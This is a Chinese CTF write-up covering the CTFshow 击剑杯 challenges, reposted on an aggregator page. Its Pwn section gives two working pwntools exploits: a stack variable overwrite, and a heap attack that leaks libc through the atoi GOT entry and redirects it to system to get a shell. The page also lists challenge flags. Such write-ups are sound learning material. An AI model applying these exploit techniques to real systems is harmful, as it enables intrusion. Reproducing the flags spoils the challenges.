CTFshow 击剑杯 部分WP

2023-11-11

摆烂了摆烂了 太难了
聪明的师傅已经组队打起月赛了
试试能不能苟住前5
苟住了 复现的后面再补充吧

1.Misc

麻麻的 只会一题 其他的等复现再补充吧

中文识别带师

挺好玩一个题 格局打开
在这里插入图片描述
linux nc进环境(注意进来别用win的netcat连 不然你就会像下面那样 因为utf-8的环境会乱码)
在这里插入图片描述

在这里插入图片描述
连进去后 就认字 一炷香十个字还是蛮久的
我的解法是用手机或者电脑手写板 手写出字后百度百科查注音与笔画(这把的答案是带音调的 cv过去就行了)不过 积累与特征也能做)
出题师傅的自动解法的话参考官方wp 挺复杂的 所以再次格局打开

2.Web

简单的验证码

非预期解了 耳朵听验证码 手爆登录名密码 就出了

easyPOP

好像这题也是爆非预期了 yue天痛哭
不会 暴打队里的web爷做出来的
官解很详细 不想写

3.Pwn

pwn01-My_sword_is_ready

签到题 就最简单的变量覆盖
直接丢payload了

from pwn import *
p = remote("pwn.challenge.ctf.show", 28171)
payload = b'a'*36+p32(222)*3
p.recvuntil('Come and jj with bit!\n')
p.sendline(payload)
p.interactive()
pwn02-Precision_and_grace

house of force

payload:

from pwn import *
context.log_level = "debug"
p = remote('pwn.challenge.ctf.show', 28088)
elf = ELF("./pwn03-Precision_and_grace")
libc = ELF("/home/hackerbc/64bitbc-2.27.so") 
def create(size, content):
    p.sendlineafter(" :", "1")
    p.sendlineafter(" : ", str(size))
    p.sendlineafter(":", content)
def edit(idx, content):
    p.sendlineafter(" :", "2")
    p.sendlineafter(" :", str(idx))
    p.sendlineafter(" : ", content)
def show(idx):
    p.sendlineafter(" :", "3")
    p.sendlineafter(" :", str(idx))
def delete(idx):
    p.sendlineafter(" :", "4")
    p.sendlineafter(" :", str(idx))
def getBase():
    create(0x20 - 0x8, "0")
    create(0x10, "1")
    edit(0, "a" * 0x18 + p8(0x41)) 
    delete(1)
    payload = p64(0) * 4 + p64(0x30) + p64(elf.got["atoi"])
    create(0x30, payload)
    show(1)
    libcBase = u64(p.recvuntil("\x7f")[-6: ].ljust(8, "\x00")) - libc.symbols["atoi"]
    success("libcBase -> {:x}".format(libcBase))
    return libcBase
def getShell(libcBase):
    systemAddr = libcBase + libc.symbols["system"]
    edit(1, p64(systemAddr))
    p.sendlineafter(" :", "$0")
if __name__ == "__main__":
    getShell(getBase())
    p.interactive()

4.Osint

ak了ak了 ak的我有点难受 题目是不难 有手就行 但是有一堆知识盲区 噶住了

英语阅读

签到题 但是是很有格局的一道题目
题目信息关键词是考研英语 偶像 OSINT
正常搜索大概率是搜索不到的 换成osint的英文全称(Open source intelligence)结合考研英语阅读 搜索到原文为03年的考研英语阅读题
flag的答案的人名是osint鼻祖,米国中情局创始人 所以题目中才说的是偶像

ctfshow{Bill_Donovan}

这是哪里

题目信息 对当地影响深远的学者 全图搜索不好搜 那就截取部分图片信息进行搜索
有可能会搜到这个:
在这里插入图片描述
但是进一步搜索可知 因为是学者 所以可以查找到此人为黄道周先生 所处位置是漳州东山黄道周公园 谷歌地图查找经纬度 后期flag改为四位数字了 更好找一点避免歧义
在这里插入图片描述

ctfshow{23.7353_117.5125}

卡鲁铁盒

俺出的 可能港口名称这边会卡掉几个人 其实本质也是出个签到题加上看看有没有师傅直接交原题的flagorz
聪明的师傅可能已经找到了这个图的原题 没错 是原题 但是不是复现 毕竟csc number已经改掉了
附件是一个集装箱照片,车牌打码了 搜图也无法搜出图片来源
图中有效信息仅有右上角数字
在这里插入图片描述
集装箱编号因为问的是集装箱 所以卡车信息与集装箱无关联

这里引入一个新的概念叫做CSC编号Convention for Safe Containers国际集装箱安全公约 每个集装箱都有独一无二的号码
而显然右上角数字并不是集装箱的CSC编号(谁出题出这么简单啊)
你需要找到一个网站:https://www.track-trace.com/来查询这个集装箱的信息:
在这里插入图片描述

便可得到集装箱的CSC编号与退役港口名称
在这里插入图片描述

ctfshow{FBV854404_ROTTERDAM}

人家想玩嘛

太难了太难了 后面这两题要噶了

yandex识图可以找到拍摄地点与附近的全景
在这里插入图片描述
找到附近全景图
在这里插入图片描述
题目描述 未拍摄到的娱乐项目 喷泉跟哈尔法塔可以排除掉了 全景放大发现这个

在这里插入图片描述
谷歌搜索可得知当地的增值税为5% 同时在官网票价可以找到票价为
在这里插入图片描述
于是 算下税前 95% 取整一下

ctfshow{LAKE_RIDE-65-5%}

人有点多

yandex识图、谷歌识图、直接翻译日文等等可以找到店名是BIC_CAMERA(之前做日本osint的老主顾了 涉谷附近的店)
从官网可得知电话等信息 包括
出口编号为B2 但是这个前面的数字 emmm 我也不太清楚本地人是否有这种命名方式 在这里可以找到地址
所以是10号(其他地方也能找到) 最近的停靠线编号的话Wikipedia 搜索副都心线
在这里插入图片描述
最终得到flag

ctfshow{BIC_CAMERA-1111-10B2-F16}

小城美食

百度识图或者积累与特征可以找到为盗月社的某期视频视频链接
6分40多时候出现了这个
在这里插入图片描述
高德地图搜索
在这里插入图片描述

ctfshow{浙江省衢州市柯城区龚家埠头村28号}

安装arph

不知道预期解是啥 等t佬补充
b站视频搜索arch安装 视频一个一个看 通过对比字幕与视频背景 拿到bv号
在这里插入图片描述

ctfshow{BV1e3411B79M}

5.热身

听歌识曲

从ztop师傅那得知有个东西叫网易见外工作台 可以听歌识曲
在这里插入图片描述
或者耳朵梭知道歌曲为blueberry hill
然后我是去YouTube找的。。
在这里插入图片描述
大帝的这个版本 百度百科找全名
在这里插入图片描述

ctfshow{Vladimir_Vladimirovich_Putin}

看图识妹

手撸能撸出来 但是很累 贴一下yuntian师傅的脚本 7佬的那个脚本也tql

import os
import glob
from PIL import Image
import cv2
import numpy
import base64
import requests
def thumbnail_pic(path):
    a=glob.glob(r'./1/1.jpg')                  #当前路径创建一个叫1的文件夹放1.jpg这个图片
    for x in a:
        name=os.path.join(path,x)
        im=Image.open(name)
        im.thumbnail((im.size[0]//10,im.size[1]//10))
        im.save(name[:-4]+"_1.png",'PNG')
def pipei(target,template):
	target = cv2.imread(target)
	template = cv2.imread(template)
	theight, twidth = template.shape[:2]
	result = cv2.matchTemplate(target,template,cv2.TM_SQDIFF_NORMED)
	min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)
	cv2.rectangle(target,min_loc,(min_loc[0]+twidth,min_loc[1]+theight),(0,0,225),20)
	strmin_val = str(min_val)
	temp_loc = min_loc
	other_loc = min_loc
	numOfloc = 1
	threshold = 0.000001
	loc = numpy.where(result<threshold)
	for other_loc in zip(*loc[::-1]):
	    if (temp_loc[0]+5<other_loc[0])or(temp_loc[1]+5<other_loc[1]):
	        numOfloc = numOfloc + 1
	        temp_loc = other_loc
	        cv2.rectangle(target,other_loc,(other_loc[0]+twidth,other_loc[1]+theight),(0,0,225),20)
	str_numOfloc = str(numOfloc)
	x = other_loc[0]
	y = other_loc[1]
	x_list = "0123456789"
	y_list = "ABCDEFGHIJKLMNOPQRST"
	point = y_list[(y-50)//75]+x_list[(x-50)//50]
	#print(point)
	return point
def url_post(url_1,url_2):
	session=requests.session()
	url_1 = url_1
	url_2 = url_2
	proxies = {'http': 'http://localhost:8080','https': 'http://localhost:8080'}  
	cookies=""
	session=requests.session()
	for i in range(0,102):
		req_1 = session.get(url=url_1,cookies=cookies)
		if r"ctfshow" in req_1.text:
			print(req_1.text)
			break
		imgdata = base64.b64decode(req_1.text[169:-140])
		file = open('./1/1.jpg','wb')    #也是上面1文件夹
		file.write(imgdata)
		file.close()
		path='.'
		thumbnail_pic(path)
		point = pipei("./all (2).png","./1/1_1.png")     #第一个是需要匹配的图片,就是100个图片在一起的,后面是thumbnail_pic函数改名的
		
		data = {
			"meizi_id" : point
		}
		req_2 = session.post(url=url_2,data=data)
		req_2 = session.get(url=url_1,proxies=proxies)
		jar = requests.cookies.RequestsCookieJar()

		cookies = requests.utils.dict_from_cookiejar(session.cookies)
		print(i)
		print("=============")
		print(cookies)
url_post("http://8f4d8fc8-f5bc-4dcf-93a3-b5233658f3f4.challenge.ctf.show/start","http://8f4d8fc8-f5bc-4dcf-93a3-b5233658f3f4.challenge.ctf.show//check")#修改url
进群得码

群主设置了陷阱hhh
群里喊一声 击剑杯签到即可

ctfshow{this_is_real_flag_jjcup}

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFshow 击剑杯 部分WP 的相关文章

  • AI时代,重新理解阿里云

    如果说 在数字化时代 阿里云给外界的标签是基于算力 数据等要素的基建角色 那么 在如今的智能化时代 基于自身强大的云计算能力和长期以往的AI技术积累 它的这种底座底色显然再一次被夯实 彰显 作者 皮爷 出品 产业家 宜昌城东大道 左侧是中国

随机推荐

  • DirectX编程:利用 DirectSound 录音

    DirectX编程 利用 DirectSound 录音 转载 http www cnblogs com stg609 archive 2008 10 24 1318931 html 花了一阵子 把DirectX安装后自带的帮助文件中的那部分
  • ES时间分组统计查询

    创建索引 PUT test 索引结构 PUT test mapping properties insertTime type date id type text fields keyword type keyword ignore abov
  • halcon之Blob分析实战

    Blob分析 Blob Analysis 在计算机视觉中的Blob是指图像中的具有相似颜色 纹理等特征所组成的一块连通区域 Blob分析 Blob Analysis 是对图像中相同像素的连通域进行分析 该连通域称为Blob 其过程其实就是将
  • 【数据结构】栈

    文章目录 1 栈的概念及结构 2 栈的实现 2 1栈的实现思路 2 2概念理解题 2 3栈的结构体定义 2 4函数接口 功能 2 5头文件Stack h 2 6函数实现Stack c 2 7测试函数Test c 2 8有效的括号 利用栈实现
  • Oracl之动态Sql编写总结

    一 概述 在通常的sql操作中 sql语句基本上都是固定的 如 SELECT t empno t ename FROM scott emp t WHERE t deptno 20 但有的时候 从应用的需要或程序的编写出发 都可能需要用到动态
  • 【抽样技术】CH2 简单随机抽样补充——比率估计与回归估计

    目录 一 概述 1 问题的提出 2 比率估计与回归估计的作用和使用条件 3 辅助变量的特点 4 相关符号 二 比率估计量 编辑 编辑 1 问题的提出 2 定义 3 比估计与简单估计的比较 4 比率估计的思想 5 比率估计量及其性质 1 引理
  • 给定一个包含 m x n 个元素的矩阵(m 行, n 列),请按照顺时针螺旋顺序,返回矩阵中的所有元素。

    import java util Arrays 问题 顺时针螺旋输出数组 题目特征 保持一种模式前进 遇到一定条件转换另一种模式前进 思路 用一个二维数组来不同取值来控制前进 设置变动的边界为改变的条件 public class Test1
  • [1160]ModuleNotFoundError: No module named setuptools_rust

    报错信息 Traceback most recent call last File line 1 in File tmp pip build my9sai1o cryptography setup py line 14 in from se
  • 复现iis 文件解析漏洞

    1 开启IIS服务 开始 管理工具 Internet信息服务 IIS 管理器 2 点击Internet信息服务 IIS 管理器 查看自己web网站中的文件和IIS服务的开始 停止 暂停按钮 查看IIS服务是否开启 若未开启请开启 HLY 本
  • 如何查看某个端口被占用

    查看8080端口是否被占用可以使用如下命令 Windows netstat ano find 8080 Linux netstat ano grep 8080 netstat命令详解 Netstat用于显示与IP TCP UDP和ICMP协
  • IPFS: NAT traversal(NAT穿越)

    IPFS是一个p2p网络 那么一定绕不开的一个问题就是NAT穿越 之前的文章里面也提到过IPFS网络连通性使用的ICE NAT穿越框架 本文简单介绍一下什么是NAT 为什么有NAT技术 NAT主要用来缓解全球的IPv4地址不够用的情况 IP
  • springboot整合rabbitMq(未完成)

    1 下载安装如下软件 erlang语言和rabbitmq服务 2 配置环境变量 erl安装目录 bin rabbit安装目录 sbin 3 安装插件 打开cmd窗口 进入sbin的cmd窗口 输入rabbitmq plugins enabl
  • python3 学习笔记(三):函数与模块

    python3 学习笔记 python 优雅 明确 简单 函数与模块 1 函数 组织好的 可重复使用的 用来实现某一功能的代码段 1 定义 def function x pass 其中 def为关键字 function 为函数名 x为形参
  • C语言基础知识--weak关键字

    目录 一 C语言弱函数定义 weak关键字 1 weak关键字简介 2 weak关键字使用示例 二 总结 一 C语言弱函数定义 weak关键字 1 weak关键字简介 使用 attribute weak 修饰函数 告诉编译器此函数为同名函数
  • 修改服务器404页面,Apache服务器404页面设置具体步骤

    在网站运营过程中 由于某些原因有时候要对网页进行删除 也就意味以后用户或者用户访问删除页面都是访问不了的 如果用户和搜索引擎访问错误页面返回值不是404的话 那么就很不友好 大大增加跳出率 404页面就是引导用户从错误的页面访问到正确的页面
  • 经典算法题收集一

    1 题目一 有 n个人围成一圈 顺序排号 从第一个人开始报数 从 1 到 3 报数 凡报到 3 的人退出圈子 问最后留下的是原来第几号的那位 其实这是一个约瑟夫环问题 这个问题最本质其实就是循环链表的问题 围成一个圈之后 报数即是循环链表的
  • Oracle小数连接字符串时开头的0不见的问题

    小数在连接成字符串的时候 如果小数的开头是0 几的话 前面的 0 会被省略掉 在excel中也有这个特点 具体是为什么不清楚 如 select 0 8 from dual 结果 8 可以用下面的方式避免 防止导致查询到的最终结果不合适 se
  • leetcode分类刷题:基于数组的双指针(四、小的移动)

    leetcode上有些题是真的太难了 正常读题之后完全想不到要用双指针来求解 本次博客总结的题目是双指针初始时位于数组两端 哪个元素小就移动哪个指针 11 盛最多水的容器 1 这道题放在42 接雨水的相似题目里 可能是因为它们都有相似的双指
  • Android 10.0系统启动之init进程-[Android取经之路]

    原文链接 https blog csdn net yiranfeng article details 103549394 摘要 init进程是linux系统中用户空间的第一个进程 进程号为1 当bootloader启动后 启动kernel
  • CTFshow 击剑杯 部分WP

    摆烂了摆烂了 太难了 聪明的师傅已经组队打起月赛了 试试能不能苟住前5 苟住了 复现的后面再补充吧 文章目录 1 Misc 中文识别带师 2 Web 简单的验证码 easyPOP 3 Pwn pwn01 My sword is ready